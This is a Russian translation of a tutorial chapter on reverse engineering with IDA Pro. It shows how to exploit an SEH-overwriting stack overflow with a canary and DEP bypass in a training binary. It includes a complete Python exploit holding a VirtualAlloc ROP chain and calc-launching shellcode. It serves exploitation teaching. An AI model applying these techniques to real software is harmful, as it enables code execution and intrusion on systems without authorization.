> For the complete documentation index, see [llms.txt](https://yutewiyof.gitbook.io/intro-rev-ida-pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://yutewiyof.gitbook.io/intro-rev-ida-pro/chast-39.md).

# Часть 39

[\[Используемые материалы\]](https://github.com/yutewiyof/intro-rev-ida-pro/tree/e1367e11cc661f3d69c02ae5f733b7dd168bc5ab/.gitbook/assets/files/39.zip)

У нас остался последний случай эксплуатации переполнения стека с защитами **CANARY** и **DEP** для перезаписи **SEH**.

![](/files/-Ljtu6nEZ79DPmhyD3S7)

Мы переименовываем имя исполняемого файла и присоединяемся к нему с помощью **IDA**, чтобы увидеть, что случиться.

![](/files/-Ljtu6nVumFvc2CQRKHs)

Так же как и раньше, программа закрывается, когда стек заканчивается. Давайте посмотрим её **SEH**,

![](/files/-Ljtu6ng4_jvlIf45SYy)

Как и в предыдущем случае, программа перезаписывает указатель на гаджет **POP - POP - RET**. Давайте установим здесь **BP**.

![](/files/-LjrE0rrF4Z1bR7qQ0gp)

Я нажимаю клавишу **F9** и принимаю исключение.

![](/files/-LjrE0s0md-pJ9lOPiEx)

Здесь, как и всегда стек находится на третьей позиции. Есть указатель на поле **NEXT**.

![](/files/-Ljtu6o8y2vGmioEa70c)

Если я исполню инструкции с помощью клавиши **F7**.

![](/files/-Ljtu6oErBSClxZCLilO)

Программа перейдёт на выполнение в стек. Эта инструкция **JMP** состоит из байтов **EB 06 90 90** из поля **NEXT**, но когда я хочу исполнить эту инструкцию, я получаю ошибку.

![](/files/-LjrE0sJc8wc4I3eDaee)

Стек не может быть выполнен, потому что здесь есть защита **DEP**. Нам необходимо запустить **ROP**.

Проблема заключается в том, что стек переместился для выполнения **ROP** и наши данные не указаны регистром **ESP** для продолжения выполнения **ROP**. Поэтому, в этом случае вместо гаджета **POP** - **POP** - **RET** нам нужен гаджет, который исправляет стек к моменту выполнения инструкции **RET** этого **ГАДЖЕТ**. Он берет один из моих адресов стека для того, чтобы вернуть управление, и продолжает выполнение **ROP**.

Мы видели, что в моем случае, перед выполнением гаджета **POP – POP - RET**, регистр **ESP** равен **0xAFEF98**

![](/files/-Ljtu6oTEJbSYYzpom4_)

И я буду искать этот адрес в стеке где начинаются мои данные.

Я установил этот адрес, чтобы найти непосредственное значение **0x41414141**.

![](/files/-LjrE0sZr_QKrv01Tskj)

Мы видим, что данные начинается по адресу **0xAFF5A8**. Теперь мы можем рассчитать расстояние. Данные находятся ниже **ESP**.

> **HEX(0xAFF5A8 - 0xAFEF98)**

![](/files/-Ljtu6ojvutGKeESZ04n)

Таким образом, расстояние между **ESP** и началом моих данных равно **0x610** байт. Это означает, что если я найду гаджет

> **ADD ESP, XXXX - RET**

Если значение **XXXX** больше чем **0x610** байт, когда он находится внутри диапазона стека, **ESP** будет перемещаться туда, где мои данные будут продолжать выполнение **ROP**.

Давайте посмотрим гаджеты **MYPEPE**.

![](/files/-LjrE0sghbeZDJyzvV4E)

Я вижу, что программа добавляет ещё **0x30** байт к **ESP**. Код не достигнет моего фруктового шеллкода.

К сожалению, у программы нет гаджета или, по крайней мере, я не нашел такой гаджет. Даже используя утилиту **AGAFI** у меня ничего не получается. Программа приложена к туториалу для тех, кто хочет научиться ей пользоваться.

![](/files/-Ljtu6oyafnDp-pj6yFo)

Я запускаю **GISNAP** на процессе остановленном после обработки исключения, например на первом **POP** гаджета **POP** - **POP** - **RET**, без каких-либо действий.

Этот **GISNAP** будет делать дамп процесса. Затем я должен отредактировать файл **OBJECTIVE.TXT** программы **AGAFI** устанавливающей условие, которое мы хотим. В этом случае оно может быть таким.

> **ESP = \[ESP + 0x08]**

И мы можем настроить программу только для того, чтобы начать поиск с определенного исполняемого файла, в нашем случае это **MYPEPE.DLL**.

Я комментирую в файле условие и диапазон, и пишу тот, который мне нужен.

![](/files/-Ljtu6p7Ms2mw0JFD491)

Затем я запускаю **AGAFI** используя имя дампа, который я сделал раньше, и сохраняю его в ту же папку и с тем же именем.

> **AGAFI.EXE OBJECTIVE.TXT DUMPED.DMP PEPE.TXT**

Программа нашла некоторые редкие гаджеты, но есть одна проблема.

```
----------------------------------------
[x] VALID GADGET AT: 7801194E
--> MATHES: ESP = [ESP + 0x8]
--> STACK USED: N/A
--> PRESERVED REGISTERS:
*** 7801194E: CLC
*** 7801194F: POPA
*** 78011950: JL 0x7801195A
*** 7801195A: POP EBX
*** 7801195B: LEAVE
*** 7801195C: RET
```

Это то, что происходит после его запуска. **ESP** снова указывает на **SEH** и переходит назад на тот же гаджет и разрывается второй раз для значения регистра **EBP 0x41414141**, которое помещается в регистр **ESP** в **LEAVE** - **RET**.

Хорошо. Чтобы победить защиту и показать, как это сделать, я добавлю инструкцию **ADD ESP**, **XXXX** - **RET** в **MYPEPE**.

![](/files/-LjrE0svJdw-3BOSbotO)

Мы будем использовать это как гаджет для перехода из **SEH**.

![](/files/-Ljtu6pPL9MtBeRIQUio)

Давайте попробует перейти туда, где программа переставала работать, обработав исключение.

![](/files/-Ljtu6pVKHrg21NVN651)

Мы видим, что после выполнения инструкции **ADD ESP**, **700** я готов продолжить выполнять наш **ROP**, а затем и сам шеллкод.

Мы видим расстояние, на которое должен идти **ROP**. Сейчас я нахожусь по адресу **ESP = 0xEFF5C0**. Давайте посмотрим где начинаются мои данные.

![](/files/-LjrE0t7tQj3DP2HQjae)

Данные начинаются по адресу **0xEFF4D4**. Я могу сделать вычитание и увидеть нужное расстояние.

![](/files/-LjrE0tAMlaYCJsn0kez)

Я подготавливаю скрипт.

```python
from os import *

import struct

def create_rop_chain():

# rop chain generated with mona.py - [www.corelan.be](http://www.corelan.be/)

rop_gadgets = [
    0x7801eb94, # POP EBP # RETN [Mypepe.dll]
    0x7801eb94, # skip 4 bytes [Mypepe.dll]
    0x7801ee74, # POP EBX # RETN [Mypepe.dll]
    0x00000001, # 0x00000001-> ebx
    0x7802920e, # POP EDX # RETN [Mypepe.dll]
    0x00001000, # 0x00001000-> edx
    0x7800a849, # POP ECX # RETN [Mypepe.dll]
    0x00000040, # 0x00000040-> ecx
    0x78028756, # POP EDI # RETN [Mypepe.dll]
    0x7800b281, # RETN (ROP NOP) [Mypepe.dll]
    0x78001492, # POP ESI # RETN [Mypepe.dll]
    0x780041ed, # JMP [EAX] [Mypepe.dll]
    0x78013953, # POP EAX # RETN [Mypepe.dll]
    0x7802e030, # ptr to &VirtualAlloc() [IAT Mypepe.dll]
    0x78009791, # PUSHAD # ADD AL,80 # RETN [Mypepe.dll]
    0x7800f7c1, # ptr to 'push esp # ret ' [Mypepe.dll]
]

return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

shellcode ="\xB8\x40\x50\x03\x78\xC7\x40\x04"+ "calc" + "\x83\xC0\x04\x50\x68\x24\x98\x01\x78\x59\xFF\xD1\x68\xAB\x39\x00\x78\xC3"

stdin, stdout = popen4(r'CANARY_con_DEP.exe -1')

print "ATACHEA EL DEBUGGER Y APRETA ENTER\n"

raw_input()

rop = create_rop_chain()

next = "\x41\x41\x41\x41"

seh = struct.pack("<L", 0x7802d415)

data = (0xec) * "A" + rop + shellcode

fruta = data + ((844-len(data)) * "A" )+ next + seh + 6000 * "A" + "\n"

print stdin

print "Escribe: " + fruta

stdin.write(fruta)

print stdout.read(40)
```

Мы видим, что скрипт использует тот же **ROP** что и раньше, и добавляет тот же шеллкод для **MYPEPE** и он работает.

![](/files/-LjrE0tLlhY3ObJBYR9y)

Мы видим, что когда я прихожу в инструкцию **RET**, **ROP** остается в стеке с самого начала, чтобы продолжить исполнять **ROP** и выполнять шеллкод.

![](/files/-Ljtu6q4Httk21uKeFel)

Теперь у нас запускается калькулятор.

Автор оригинального текста — Рикардо Нарваха.

Перевод и адаптация на английский язык — IvinsonCLS.

Перевод и адаптация на русский язык — Яша Яшечкин.

Перевод специально для форума системного и низкоуровневого программирования - WASM.IN

08.04.2018

[**Источник: ricardonarvaja.info**](http://ricardonarvaja.info/WEB/IDA%20DESDE%20CERO/CURSO%20DE%20IDA%20TUTES/39-INTRODUCCION%20AL%20REVERSING%20CON%20IDA%20PRO%20DESDE%20CERO.docx)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://yutewiyof.gitbook.io/intro-rev-ida-pro/chast-39.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
